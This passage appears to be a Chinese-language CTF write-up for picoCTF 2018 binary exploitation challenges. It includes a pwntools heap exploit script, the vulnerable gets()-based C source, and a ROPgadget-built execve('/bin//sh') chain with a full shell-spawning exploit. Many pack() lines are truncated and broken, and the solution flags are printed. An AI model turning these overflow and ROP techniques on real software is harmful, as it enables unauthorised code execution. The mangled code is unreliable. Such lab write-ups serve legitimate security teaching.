n.sendline('reset')

def login(name):

n.recvuntil('> ')

n.sendline('login '+name)

def getflag():

n.sendline('get-flag')

payload = 'a'*8+p64(5)

login(payload)

gdb.attach(n)

reset()

login('Ep3ius')

getflag()

n.interactive()

FLAG

picoCTF{m3sS1nG_w1tH_tH3_h43p_bc7d345a}

can-you-gets-me

➜ can-you-gets-me file gets

gets: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=4141b1e04d2e7f1623a4b8923f0f87779c0827ee, not stripped

➜ can-you-gets-me checksec gets

[*] '/home/Ep3ius/pwn/process/picoCTF2018/can-you-gets-me/gets'

Arch: i386-32-little

RELRO: Partial RELRO

Stack: No canary found

NX: NX enabled

PIE: No PIE (0x8048000)

#include

#include

#include

#include

#include

#define BUFSIZE 16

void vuln() {

char buf[16];

printf("GIVE ME YOUR NAME!n");

return gets(buf);

}

int main(int argc, char **argv){

setvbuf(stdout, NULL, _IONBF, 0);

// Set the gid to the effective gid

// this prevents /bin/sh from dropping the privileges

gid_t gid = getegid();

setresgid(gid, gid, gid);

vuln();

}

看了一波源码,只给了一个gets和printf,一开始我还想说是不是用ret2dl-resolve,后来肝了一天都没肝出,查报错的时候发现没办法找到plt表,就在想这个会不会是静态编译的文件,就用ldd检查了下

➜ can-you-gets-me ldd gets

不是动态可执行文件

➜ can-you-gets-me

emmmm,居然还真是静态库编译的那么我们试试用ropgadget的ropchain来构造ROP链玄学一键getshell

ROPgadget --binary gets --ropchain

- Step 5 -- Build the ROP chain

#!/usr/bin/env python2

# execve generated by ROPgadget

from struct import pack

# Padding goes here

p = ''

p += pack('

p += pack('

p += pack('

p += '/bin'

p += pack('

p += pack('

p += pack('

p += pack('

p += '//sh'

p += pack('

p += pack('

p += pack('

p += pack('

p += pack('

p += pack('

p += pack('

p += pack('

p += pack('

p += pack('

p += pack('

p += pack('

p += pack('

p += pack('

p += pack('

p += pack('

p += pack('

p += pack('

p += pack('

p += pack('

p += pack('

p += pack('

p += pack('

p += pack('

➜ can-you-gets-me

结果确实只要溢出后执行就能getshell了

EXP

from pwn import*

from struct import pack

n = process('./gets')

# Padding goes here

p = 'a'*0x18 + 'aaaa' # buf

p += pack('

p += pack('

p += pack('

p += '/bin'

p += pack('

p += pack('

p += pack('

p += pack('

p += '//sh'

p += pack('

p += pack('

p += pack('

p += pack('

p += pack('

p += pack('

p += pack('

p += pack('

p += pack('

p += pack('

p += pack('

p += pack('

p += pack('

p += pack('

p += pack('

p += pack('

p += pack('

p += pack('

p += pack('

p += pack('

p += pack('

p += pack('

p += pack('

p += pack('

n.recvuntil('NAME!')

n.sendline(p)

n.interactive()

FLAG

picoCTF{rOp_yOuR_wAY_tO_AnTHinG_cfdfc687}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值